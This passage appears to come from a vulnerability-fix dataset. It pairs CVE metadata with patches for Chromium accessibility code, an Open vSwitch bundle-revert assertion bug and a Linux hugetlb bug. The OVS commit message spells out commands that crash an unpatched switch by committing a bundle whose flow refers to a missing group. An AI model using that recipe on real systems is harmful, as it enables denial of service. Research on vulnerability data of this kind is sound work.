{\n const AtomicString& role = getAttribute(HTMLNames::roleAttr);\n- return equalIgnoringCase(role, \"rowheader\");\n+ return equalIgnoringASCIICase(role, \"rowheader\");\n }\n \n AXObject* AXARIAGridCell::parentTable() const {"}<_**next**_>{"sha": "5b27c4762de74bb75c79991c9efd0c2889582e7a", "filename": "third_party/WebKit/Source/modules/accessibility/AXLayoutObject.cpp", "status": "modified", "additions": 5, "deletions": 5, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXLayoutObject.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXLayoutObject.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/AXLayoutObject.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -459,7 +459,7 @@ bool AXLayoutObject::isSelected() const {\n return false;\n \n const AtomicString& ariaSelected = getAttribute(aria_selectedAttr);\n- if (equalIgnoringCase(ariaSelected, \"true\"))\n+ if (equalIgnoringASCIICase(ariaSelected, \"true\"))\n return true;\n \n AXObject* focusedObject = axObjectCache().focusedObject();\n@@ -492,7 +492,7 @@ AXObjectInclusion AXLayoutObject::defaultObjectInclusion(\n if (m_layoutObject->style()->visibility() != EVisibility::kVisible) {\n // aria-hidden is meant to override visibility as the determinant in AX\n // hierarchy inclusion.\n- if (equalIgnoringCase(getAttribute(aria_hiddenAttr), \"false\"))\n+ if (equalIgnoringASCIICase(getAttribute(aria_hiddenAttr), \"false\"))\n return DefaultBehavior;\n \n if (ignoredReasons)\n@@ -1296,8 +1296,8 @@ AXObject* AXLayoutObject::ancestorForWhichThisIsAPresentationalChild() const {\n \n bool AXLayoutObject::supportsARIADragging() const {\n const AtomicString& grabbed = getAttribute(aria_grabbedAttr);\n- return equalIgnoringCase(grabbed, \"true\") ||\n- equalIgnoringCase(grabbed, \"false\");\n+ return equalIgnoringASCIICase(grabbed, \"true\") ||\n+ equalIgnoringASCIICase(grabbed, \"false\");\n }\n \n bool AXLayoutObject::supportsARIADropping() const {\n@@ -2500,7 +2500,7 @@ bool AXLayoutObject::elementAttributeValue(\n if (!m_layoutObject)\n return false;\n \n- return equalIgnoringCase(getAttribute(attributeName), \"true\");\n+ return equalIgnoringASCIICase(getAttribute(attributeName), \"true\");\n }\n \n } // namespace blink"}<_**next**_>{"sha": "c4ba92f543cc10e21aa2d00a7da7f842fe57c457", "filename": "third_party/WebKit/Source/modules/accessibility/AXListBoxOption.cpp", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXListBoxOption.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXListBoxOption.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/AXListBoxOption.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -82,7 +82,7 @@ bool AXListBoxOption::isEnabled() const {\n if (!getNode())\n return false;\n \n- if (equalIgnoringCase(getAttribute(aria_disabledAttr), \"true\"))\n+ if (equalIgnoringASCIICase(getAttribute(aria_disabledAttr), \"true\"))\n return false;\n \n if (toElement(getNode())->hasAttribute(disabledAttr))"}<_**next**_>{"sha": "26298b2f98b7badcdcd664b7aff30e60428daf91", "filename": "third_party/WebKit/Source/modules/accessibility/AXNodeObject.cpp", "status": "modified", "additions": 31, "deletions": 30, "changes": 61, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXNodeObject.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXNodeObject.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/AXNodeObject.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -96,7 +96,7 @@ class BoolAttributeSetter : public SparseAttributeSetter {\n AXSparseAttributeClient& attributeMap,\n const AtomicString& value) override {\n attributeMap.addBoolAttribute(m_attribute,\n- equalIgnoringCase(value, \"true\"));\n+ equalIgnoringASCIICase(value, \"true\"));\n }\n };\n \n@@ -300,7 +300,7 @@ bool AXNodeObject::computeAccessibilityIsIgnored(\n Element* element = getNode()->isElementNode() ? toElement(getNode())\n : getNode()->parentElement();\n if (!getLayoutObject() && (!element || !element->isInCanvasSubtree()) &&\n- !equalIgnoringCase(getAttribute(aria_hiddenAttr), \"false\")) {\n+ !equalIgnoringASCIICase(getAttribute(aria_hiddenAttr), \"false\")) {\n if (ignoredReasons)\n ignoredReasons->push_back(IgnoredReason(AXNotRendered));\n return true;\n@@ -750,7 +750,7 @@ bool AXNodeObject::hasContentEditableAttributeSet() const {\n return false;\n // Both \"true\" (case-insensitive) and the empty string count as true.\n return contentEditableValue.isEmpty() ||\n- equalIgnoringCase(contentEditableValue, \"true\");\n+ equalIgnoringASCIICase(contentEditableValue, \"true\");\n }\n \n bool AXNodeObject::isTextControl() const {\n@@ -825,7 +825,7 @@ static Element* siblingWithAriaRole(String role, Node* node) {\n sibling = ElementTraversal::nextSibling(*sibling)) {\n const AtomicString& siblingAriaRole =\n AccessibleNode::getProperty(sibling, AOMStringProperty::kRole);\n- if (equalIgnoringCase(siblingAriaRole, role))\n+ if (equalIgnoringASCIICase(siblingAriaRole, role))\n return sibling;\n }\n \n@@ -1044,9 +1044,9 @@ bool AXNodeObject::isMeter() const {\n bool AXNodeObject::isMultiSelectable() const {\n const AtomicString& ariaMultiSelectable =\n getAttribute(aria_multiselectableAttr);\n- if (equalIgnoringCase(ariaMultiSelectable, \"true\"))\n+ if (equalIgnoringASCIICase(ariaMultiSelectable, \"true\"))\n return true;\n- if (equalIgnoringCase(ariaMultiSelectable, \"false\"))\n+ if (equalIgnoringASCIICase(ariaMultiSelectable, \"false\"))\n return false;\n \n return isHTMLSelectElement(getNode()) &&\n@@ -1159,7 +1159,7 @@ bool AXNodeObject::isChecked() const {\n case MenuItemRadioRole:\n case RadioButtonRole:\n case SwitchRole:\n- if (equalIgnoringCase(\n+ if (equalIgnoringASCIICase(\n getAOMPropertyOrARIAAttribute(AOMStringProperty::kChecked),\n \"true\"))\n return true;\n@@ -1211,9 +1211,9 @@ AccessibilityExpanded AXNodeObject::isExpanded() const {\n }\n \n const AtomicString& expanded = getAttribute(aria_expandedAttr);\n- if (equalIgnoringCase(expanded, \"true\"))\n+ if (equalIgnoringASCIICase(expanded, \"true\"))\n return ExpandedExpanded;\n- if (equalIgnoringCase(expanded, \"false\"))\n+ if (equalIgnoringASCIICase(expanded, \"false\"))\n return ExpandedCollapsed;\n \n return ExpandedUndefined;\n@@ -1225,9 +1225,9 @@ bool AXNodeObject::isModal() const {\n \n if (hasAttribute(aria_modalAttr)) {\n const AtomicString& modal = getAttribute(aria_modalAttr);\n- if (equalIgnoringCase(modal, \"true\"))\n+ if (equalIgnoringASCIICase(modal, \"true\"))\n return true;\n- if (equalIgnoringCase(modal, \"false\"))\n+ if (equalIgnoringASCIICase(modal, \"false\"))\n return false;\n }\n \n@@ -1248,8 +1248,8 @@ bool AXNodeObject::isPressed() const {\n // ARIA button with aria-pressed not undefined, then check for aria-pressed\n // attribute rather than getNode()->active()\n if (ariaRoleAttribute() == ToggleButtonRole) {\n- if (equalIgnoringCase(getAttribute(aria_pressedAttr), \"true\") ||\n- equalIgnoringCase(getAttribute(aria_pressedAttr), \"mixed\"))\n+ if (equalIgnoringASCIICase(getAttribute(aria_pressedAttr), \"true\") ||\n+ equalIgnoringASCIICase(getAttribute(aria_pressedAttr), \"mixed\"))\n return true;\n return false;\n }\n@@ -1280,7 +1280,7 @@ bool AXNodeObject::isRequired() const {\n hasAttribute(requiredAttr))\n return toHTMLFormControlElement(n)->isRequired();\n \n- if (equalIgnoringCase(getAttribute(aria_requiredAttr), \"true\"))\n+ if (equalIgnoringASCIICase(getAttribute(aria_requiredAttr), \"true\"))\n return true;\n \n return false;\n@@ -1310,7 +1310,7 @@ bool AXNodeObject::canSetFocusAttribute() const {\n }\n \n bool AXNodeObject::canSetValueAttribute() const {\n- if (equalIgnoringCase(getAttribute(aria_readonlyAttr), \"true\"))\n+ if (equalIgnoringASCIICase(getAttribute(aria_readonlyAttr), \"true\"))\n return false;\n \n if (isProgressIndicator() || isSlider())\n@@ -1488,9 +1488,9 @@ AccessibilityOrientation AXNodeObject::orientation() const {\n const AtomicString& ariaOrientation =\n getAOMPropertyOrARIAAttribute(AOMStringProperty::kOrientation);\n AccessibilityOrientation orientation = AccessibilityOrientationUndefined;\n- if (equalIgnoringCase(ariaOrientation, \"horizontal\"))\n+ if (equalIgnoringASCIICase(ariaOrientation, \"horizontal\"))\n orientation = AccessibilityOrientationHorizontal;\n- else if (equalIgnoringCase(ariaOrientation, \"vertical\"))\n+ else if (equalIgnoringASCIICase(ariaOrientation, \"vertical\"))\n orientation = AccessibilityOrientationVertical;\n \n switch (roleValue()) {\n@@ -1621,7 +1621,7 @@ RGBA32 AXNodeObject::colorValue() const {\n \n HTMLInputElement* input = toHTMLInputElement(getNode());\n const AtomicString& type = input->getAttribute(typeAttr);\n- if (!equalIgnoringCase(type, \"color\"))\n+ if (!equalIgnoringASCIICase(type, \"color\"))\n return AXObject::colorValue();\n \n // HTMLInputElement::value always returns a string parseable by Color.\n@@ -1636,19 +1636,20 @@ AriaCurrentState AXNodeObject::ariaCurrentState() const {\n getAOMPropertyOrARIAAttribute(AOMStringProperty::kCurrent);\n if (attributeValue.isNull())\n return AriaCurrentStateUndefined;\n- if (attributeValue.isEmpty() || equalIgnoringCase(attributeValue, \"false\"))\n+ if (attributeValue.isEmpty() ||\n+ equalIgnoringASCIICase(attributeValue, \"false\"))\n return AriaCurrentStateFalse;\n- if (equalIgnoringCase(attributeValue, \"true\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"true\"))\n return AriaCurrentStateTrue;\n- if (equalIgnoringCase(attributeValue, \"page\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"page\"))\n return AriaCurrentStatePage;\n- if (equalIgnoringCase(attributeValue, \"step\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"step\"))\n return AriaCurrentStateStep;\n- if (equalIgnoringCase(attributeValue, \"location\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"location\"))\n return AriaCurrentStateLocation;\n- if (equalIgnoringCase(attributeValue, \"date\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"date\"))\n return AriaCurrentStateDate;\n- if (equalIgnoringCase(attributeValue, \"time\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"time\"))\n return AriaCurrentStateTime;\n // An unknown value should return true.\n if (!attributeValue.isEmpty())\n@@ -1660,13 +1661,13 @@ AriaCurrentState AXNodeObject::ariaCurrentState() const {\n InvalidState AXNodeObject::getInvalidState() const {\n const AtomicString& attributeValue =\n getAOMPropertyOrARIAAttribute(AOMStringProperty::kInvalid);\n- if (equalIgnoringCase(attributeValue, \"false\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"false\"))\n return InvalidStateFalse;\n- if (equalIgnoringCase(attributeValue, \"true\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"true\"))\n return InvalidStateTrue;\n- if (equalIgnoringCase(attributeValue, \"spelling\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"spelling\"))\n return InvalidStateSpelling;\n- if (equalIgnoringCase(attributeValue, \"grammar\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"grammar\"))\n return InvalidStateGrammar;\n // A yet unknown value.\n if (!attributeValue.isEmpty())\n@@ -1996,7 +1997,7 @@ String AXNodeObject::textFromDescendants(AXObjectSet& visited,\n // true if any ancestor is hidden, but we need to be able to compute the\n // accessible name of object inside hidden subtrees (for example, if\n // aria-labelledby points to an object that's hidden).\n- if (equalIgnoringCase(child->getAttribute(aria_hiddenAttr), \"true\"))\n+ if (equalIgnoringASCIICase(child->getAttribute(aria_hiddenAttr), \"true\"))\n continue;\n \n // If we're going between two layoutObjects that are in separate"}<_**next**_>{"sha": "3e18e556d466beaf250314eaee1346ca0c2f1955", "filename": "third_party/WebKit/Source/modules/accessibility/AXObject.cpp", "status": "modified", "additions": 9, "deletions": 9, "changes": 18, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXObject.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXObject.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/AXObject.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -596,7 +596,7 @@ AXObject* AXObject::leafNodeAncestor() const {\n \n const AXObject* AXObject::ariaHiddenRoot() const {\n for (const AXObject* object = this; object; object = object->parentObject()) {\n- if (equalIgnoringCase(object->getAttribute(aria_hiddenAttr), \"true\"))\n+ if (equalIgnoringASCIICase(object->getAttribute(aria_hiddenAttr), \"true\"))\n return object;\n }\n \n@@ -610,9 +610,9 @@ bool AXObject::isDescendantOfDisabledNode() const {\n \n const AXObject* AXObject::disabledAncestor() const {\n const AtomicString& disabled = getAttribute(aria_disabledAttr);\n- if (equalIgnoringCase(disabled, \"true\"))\n+ if (equalIgnoringASCIICase(disabled, \"true\"))\n return this;\n- if (equalIgnoringCase(disabled, \"false\"))\n+ if (equalIgnoringASCIICase(disabled, \"false\"))\n return 0;\n \n if (AXObject* parent = parentObject())\n@@ -723,7 +723,7 @@ String AXObject::recursiveTextAlternative(const AXObject& axObj,\n }\n \n bool AXObject::isHiddenForTextAlternativeCalculation() const {\n- if (equalIgnoringCase(getAttribute(aria_hiddenAttr), \"false\"))\n+ if (equalIgnoringASCIICase(getAttribute(aria_hiddenAttr), \"false\"))\n return false;\n \n if (getLayoutObject())\n@@ -955,10 +955,10 @@ AXSupportedAction AXObject::action() const {\n AccessibilityButtonState AXObject::checkboxOrRadioValue() const {\n const AtomicString& checkedAttribute =\n getAOMPropertyOrARIAAttribute(AOMStringProperty::kChecked);\n- if (equalIgnoringCase(checkedAttribute, \"true\"))\n+ if (equalIgnoringASCIICase(checkedAttribute, \"true\"))\n return ButtonStateOn;\n \n- if (equalIgnoringCase(checkedAttribute, \"mixed\")) {\n+ if (equalIgnoringASCIICase(checkedAttribute, \"mixed\")) {\n // Only checkboxes should support the mixed state.\n AccessibilityRole role = ariaRoleAttribute();\n if (role == CheckBoxRole || role == MenuItemCheckBoxRole)\n@@ -982,7 +982,7 @@ bool AXObject::isMultiline() const {\n if (!isNativeTextControl() && !isNonNativeTextControl())\n return false;\n \n- return equalIgnoringCase(getAttribute(aria_multilineAttr), \"true\");\n+ return equalIgnoringASCIICase(getAttribute(aria_multilineAttr), \"true\");\n }\n \n bool AXObject::ariaPressedIsPresent() const {\n@@ -1063,8 +1063,8 @@ int AXObject::indexInParent() const {\n \n bool AXObject::isLiveRegion() const {\n const AtomicString& liveRegion = liveRegionStatus();\n- return equalIgnoringCase(liveRegion, \"polite\") ||\n- equalIgnoringCase(liveRegion, \"assertive\");\n+ return equalIgnoringASCIICase(liveRegion, \"polite\") ||\n+ equalIgnoringASCIICase(liveRegion, \"assertive\");\n }\n \n AXObject* AXObject::liveRegionRoot() const {"}<_**next**_>{"sha": "0c17502098641388c189e5470a9e77f7a43e7779", "filename": "third_party/WebKit/Source/modules/accessibility/AXObjectCacheImpl.cpp", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXObjectCacheImpl.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXObjectCacheImpl.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/AXObjectCacheImpl.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -262,7 +262,7 @@ bool nodeHasRole(Node* node, const String& role) {\n if (!node || !node->isElementNode())\n return false;\n \n- return equalIgnoringCase(toElement(node)->getAttribute(roleAttr), role);\n+ return equalIgnoringASCIICase(toElement(node)->getAttribute(roleAttr), role);\n }\n \n AXObject* AXObjectCacheImpl::createFromRenderer(LayoutObject* layoutObject) {\n@@ -1090,8 +1090,8 @@ bool isNodeAriaVisible(Node* node) {\n if (!node->isElementNode())\n return false;\n \n- return equalIgnoringCase(toElement(node)->getAttribute(aria_hiddenAttr),\n- \"false\");\n+ return equalIgnoringASCIICase(toElement(node)->getAttribute(aria_hiddenAttr),\n+ \"false\");\n }\n \n void AXObjectCacheImpl::postPlatformNotification(AXObject* obj,"}<_**next**_>{"sha": "5b3ea88b5fa5cda94305bcbf0bb68c7faaff9528", "filename": "third_party/WebKit/Source/modules/accessibility/AXTableCell.cpp", "status": "modified", "additions": 8, "deletions": 8, "changes": 16, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXTableCell.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXTableCell.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/AXTableCell.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -54,14 +54,14 @@ bool AXTableCell::isTableHeaderCell() const {\n \n bool AXTableCell::isRowHeaderCell() const {\n const AtomicString& scope = getAttribute(scopeAttr);\n- return equalIgnoringCase(scope, \"row\") ||\n- equalIgnoringCase(scope, \"rowgroup\");\n+ return equalIgnoringASCIICase(scope, \"row\") ||\n+ equalIgnoringASCIICase(scope, \"rowgroup\");\n }\n \n bool AXTableCell::isColumnHeaderCell() const {\n const AtomicString& scope = getAttribute(scopeAttr);\n- return equalIgnoringCase(scope, \"col\") ||\n- equalIgnoringCase(scope, \"colgroup\");\n+ return equalIgnoringASCIICase(scope, \"col\") ||\n+ equalIgnoringASCIICase(scope, \"colgroup\");\n }\n \n bool AXTableCell::computeAccessibilityIsIgnored(\n@@ -225,13 +225,13 @@ SortDirection AXTableCell::getSortDirection() const {\n getAOMPropertyOrARIAAttribute(AOMStringProperty::kSort);\n if (ariaSort.isEmpty())\n return SortDirectionUndefined;\n- if (equalIgnoringCase(ariaSort, \"none\"))\n+ if (equalIgnoringASCIICase(ariaSort, \"none\"))\n return SortDirectionNone;\n- if (equalIgnoringCase(ariaSort, \"ascending\"))\n+ if (equalIgnoringASCIICase(ariaSort, \"ascending\"))\n return SortDirectionAscending;\n- if (equalIgnoringCase(ariaSort, \"descending\"))\n+ if (equalIgnoringASCIICase(ariaSort, \"descending\"))\n return SortDirectionDescending;\n- if (equalIgnoringCase(ariaSort, \"other\"))\n+ if (equalIgnoringASCIICase(ariaSort, \"other\"))\n return SortDirectionOther;\n return SortDirectionUndefined;\n }"}<_**next**_>{"sha": "be670ecaaddaaeccafe8037219a26de0a5cf23d2", "filename": "third_party/WebKit/Source/modules/accessibility/InspectorAccessibilityAgent.cpp", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/InspectorAccessibilityAgent.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/InspectorAccessibilityAgent.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/InspectorAccessibilityAgent.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -296,7 +296,7 @@ void fillWidgetStates(AXObject& axObject,\n } else {\n const AtomicString& pressedAttr =\n axObject.getAttribute(HTMLNames::aria_pressedAttr);\n- if (equalIgnoringCase(pressedAttr, \"mixed\"))\n+ if (equalIgnoringASCIICase(pressedAttr, \"mixed\"))\n properties.addItem(\n createProperty(AXWidgetStatesEnum::Pressed,\n createValue(\"mixed\", AXValueTypeEnum::Tristate)));"}
|
String AXObject::computedName() const {
AXNameFrom nameFrom;
AXObject::AXObjectVector nameObjects;
return name(nameFrom, &nameObjects);
}
|
String AXObject::computedName() const {
AXNameFrom nameFrom;
AXObject::AXObjectVector nameObjects;
return name(nameFrom, &nameObjects);
}
|
C
| null | null | null |
@@ -596,7 +596,7 @@ AXObject* AXObject::leafNodeAncestor() const {
const AXObject* AXObject::ariaHiddenRoot() const {
for (const AXObject* object = this; object; object = object->parentObject()) {
- if (equalIgnoringCase(object->getAttribute(aria_hiddenAttr), "true"))
+ if (equalIgnoringASCIICase(object->getAttribute(aria_hiddenAttr), "true"))
return object;
}
@@ -610,9 +610,9 @@ bool AXObject::isDescendantOfDisabledNode() const {
const AXObject* AXObject::disabledAncestor() const {
const AtomicString& disabled = getAttribute(aria_disabledAttr);
- if (equalIgnoringCase(disabled, "true"))
+ if (equalIgnoringASCIICase(disabled, "true"))
return this;
- if (equalIgnoringCase(disabled, "false"))
+ if (equalIgnoringASCIICase(disabled, "false"))
return 0;
if (AXObject* parent = parentObject())
@@ -723,7 +723,7 @@ String AXObject::recursiveTextAlternative(const AXObject& axObj,
}
bool AXObject::isHiddenForTextAlternativeCalculation() const {
- if (equalIgnoringCase(getAttribute(aria_hiddenAttr), "false"))
+ if (equalIgnoringASCIICase(getAttribute(aria_hiddenAttr), "false"))
return false;
if (getLayoutObject())
@@ -955,10 +955,10 @@ AXSupportedAction AXObject::action() const {
AccessibilityButtonState AXObject::checkboxOrRadioValue() const {
const AtomicString& checkedAttribute =
getAOMPropertyOrARIAAttribute(AOMStringProperty::kChecked);
- if (equalIgnoringCase(checkedAttribute, "true"))
+ if (equalIgnoringASCIICase(checkedAttribute, "true"))
return ButtonStateOn;
- if (equalIgnoringCase(checkedAttribute, "mixed")) {
+ if (equalIgnoringASCIICase(checkedAttribute, "mixed")) {
// Only checkboxes should support the mixed state.
AccessibilityRole role = ariaRoleAttribute();
if (role == CheckBoxRole || role == MenuItemCheckBoxRole)
@@ -982,7 +982,7 @@ bool AXObject::isMultiline() const {
if (!isNativeTextControl() && !isNonNativeTextControl())
return false;
- return equalIgnoringCase(getAttribute(aria_multilineAttr), "true");
+ return equalIgnoringASCIICase(getAttribute(aria_multilineAttr), "true");
}
bool AXObject::ariaPressedIsPresent() const {
@@ -1063,8 +1063,8 @@ int AXObject::indexInParent() const {
bool AXObject::isLiveRegion() const {
const AtomicString& liveRegion = liveRegionStatus();
- return equalIgnoringCase(liveRegion, "polite") ||
- equalIgnoringCase(liveRegion, "assertive");
+ return equalIgnoringASCIICase(liveRegion, "polite") ||
+ equalIgnoringASCIICase(liveRegion, "assertive");
}
AXObject* AXObject::liveRegionRoot() const {
|
Chrome
|
d27468a832d5316884bd02f459cbf493697fd7e1
|
62dc793dc640ae5fd16d571a0c9199fe0fb740d0
| 0
|
String AXObject::computedName() const {
AXNameFrom nameFrom;
AXObject::AXObjectVector nameObjects;
return name(nameFrom, &nameObjects);
}
|
77,369
| null |
Remote
|
Not required
|
Partial
|
CVE-2018-17205
|
https://www.cvedetails.com/cve/CVE-2018-17205/
|
CWE-617
|
Low
| null | null | null |
2018-09-19
| 5
|
An issue was discovered in Open vSwitch (OvS) 2.7.x through 2.7.6, affecting ofproto_rule_insert__ in ofproto/ofproto.c. During bundle commit, flows that are added in a bundle are applied to ofproto in order. If a flow cannot be added (e.g., the flow action is a go-to for a group id that does not exist), OvS tries to revert back all previous flows that were successfully applied from the same bundle. This is possible since OvS maintains list of old flows that were replaced by flows from the bundle. While reinserting old flows, OvS has an assertion failure due to a check on rule state != RULE_INITIALIZED. This would work for new flows, but for an old flow the rule state is RULE_REMOVED. The assertion failure causes an OvS crash.
|
2019-10-02
| null | 0
|
https://github.com/openvswitch/ovs/commit/0befd1f3745055c32940f5faf9559be6a14395e6
|
0befd1f3745055c32940f5faf9559be6a14395e6
|
ofproto: Fix OVS crash when reverting old flows in bundle commit
During bundle commit flows which are added in bundle are applied
to ofproto in-order. In case if a flow cannot be added (e.g. flow
action is go-to group id which does not exist), OVS tries to
revert back all previous flows which were successfully applied
from the same bundle. This is possible since OVS maintains list
of old flows which were replaced by flows from the bundle.
While reinserting old flows ovs asserts due to check on rule
state != RULE_INITIALIZED. This will work only for new flows, but
for old flow the rule state will be RULE_REMOVED. This is causing
an assert and OVS crash.
The ovs assert check should be modified to != RULE_INSERTED to prevent
any existing rule being re-inserted and allow new rules and old rules
(in case of revert) to get inserted.
Here is an example to trigger the assert:
$ ovs-vsctl add-br br-test -- set Bridge br-test datapath_type=netdev
$ cat flows.txt
flow add table=1,priority=0,in_port=2,actions=NORMAL
flow add table=1,priority=0,in_port=3,actions=NORMAL
$ ovs-ofctl dump-flows -OOpenflow13 br-test
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=2 actions=NORMAL
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=3 actions=NORMAL
$ cat flow-modify.txt
flow modify table=1,priority=0,in_port=2,actions=drop
flow modify table=1,priority=0,in_port=3,actions=group:10
$ ovs-ofctl bundle br-test flow-modify.txt -OOpenflow13
First flow rule will be modified since it is a valid rule. However second
rule is invalid since no group with id 10 exists. Bundle commit tries to
revert (insert) the first rule to old flow which results in ovs_assert at
ofproto_rule_insert__() since old rule->state = RULE_REMOVED.
Signed-off-by: Vishal Deep Ajmera <vishal.deep.ajmera@ericsson.com>
Signed-off-by: Ben Pfaff <blp@ovn.org>
| 0
|
ofproto/ofproto.c
|
{"sha": "50df9dc9c099b965378d5be3e78eb49dbb509b81", "filename": "ofproto/ofproto.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/openvswitch/ovs/blob/0befd1f3745055c32940f5faf9559be6a14395e6/ofproto/ofproto.c", "raw_url": "https://github.com/openvswitch/ovs/raw/0befd1f3745055c32940f5faf9559be6a14395e6/ofproto/ofproto.c", "contents_url": "https://api.github.com/repos/openvswitch/ovs/contents/ofproto/ofproto.c?ref=0befd1f3745055c32940f5faf9559be6a14395e6", "patch": "@@ -8465,7 +8465,7 @@ ofproto_rule_insert__(struct ofproto *ofproto, struct rule *rule)\n const struct rule_actions *actions = rule_get_actions(rule);\n \n /* A rule may not be reinserted. */\n- ovs_assert(rule->state == RULE_INITIALIZED);\n+ ovs_assert(rule->state != RULE_INSERTED);\n \n if (rule->hard_timeout || rule->idle_timeout) {\n ovs_list_insert(&ofproto->expirable, &rule->expirable);"}
|
ofproto_port_set_stp(struct ofproto *ofproto, ofp_port_t ofp_port,
const struct ofproto_port_stp_settings *s)
{
struct ofport *ofport = ofproto_get_port(ofproto, ofp_port);
if (!ofport) {
VLOG_WARN("%s: cannot configure STP on nonexistent port %"PRIu32,
ofproto->name, ofp_port);
return ENODEV;
}
return (ofproto->ofproto_class->set_stp_port
? ofproto->ofproto_class->set_stp_port(ofport, s)
: EOPNOTSUPP);
}
|
ofproto_port_set_stp(struct ofproto *ofproto, ofp_port_t ofp_port,
const struct ofproto_port_stp_settings *s)
{
struct ofport *ofport = ofproto_get_port(ofproto, ofp_port);
if (!ofport) {
VLOG_WARN("%s: cannot configure STP on nonexistent port %"PRIu32,
ofproto->name, ofp_port);
return ENODEV;
}
return (ofproto->ofproto_class->set_stp_port
? ofproto->ofproto_class->set_stp_port(ofport, s)
: EOPNOTSUPP);
}
|
C
| null | null | null |
@@ -8465,7 +8465,7 @@ ofproto_rule_insert__(struct ofproto *ofproto, struct rule *rule)
const struct rule_actions *actions = rule_get_actions(rule);
/* A rule may not be reinserted. */
- ovs_assert(rule->state == RULE_INITIALIZED);
+ ovs_assert(rule->state != RULE_INSERTED);
if (rule->hard_timeout || rule->idle_timeout) {
ovs_list_insert(&ofproto->expirable, &rule->expirable);
|
ovs
|
0befd1f3745055c32940f5faf9559be6a14395e6
|
f9df636ef91c639cf97c6bd8e5433381ac63859b
| 0
|
ofproto_port_set_stp(struct ofproto *ofproto, ofp_port_t ofp_port,
const struct ofproto_port_stp_settings *s)
{
struct ofport *ofport = ofproto_get_port(ofproto, ofp_port);
if (!ofport) {
VLOG_WARN("%s: cannot configure STP on nonexistent port %"PRIu32,
ofproto->name, ofp_port);
return ENODEV;
}
return (ofproto->ofproto_class->set_stp_port
? ofproto->ofproto_class->set_stp_port(ofport, s)
: EOPNOTSUPP);
}
|
86,389
| null |
Local
|
Not required
|
Complete
|
CVE-2017-15128
|
https://www.cvedetails.com/cve/CVE-2017-15128/
|
CWE-119
|
Low
| null | null | null |
2018-01-14
| 4.9
|
A flaw was found in the hugetlb_mcopy_atomic_pte function in mm/hugetlb.c in the Linux kernel before 4.13.12. A lack of size check could cause a denial of service (BUG).
|
2019-10-09
|
DoS Overflow
| 0
|
https://github.com/torvalds/linux/commit/1e3921471354244f70fe268586ff94a97a6dd4df
|
1e3921471354244f70fe268586ff94a97a6dd4df
|
userfaultfd: hugetlbfs: prevent UFFDIO_COPY to fill beyond the end of i_size
This oops:
kernel BUG at fs/hugetlbfs/inode.c:484!
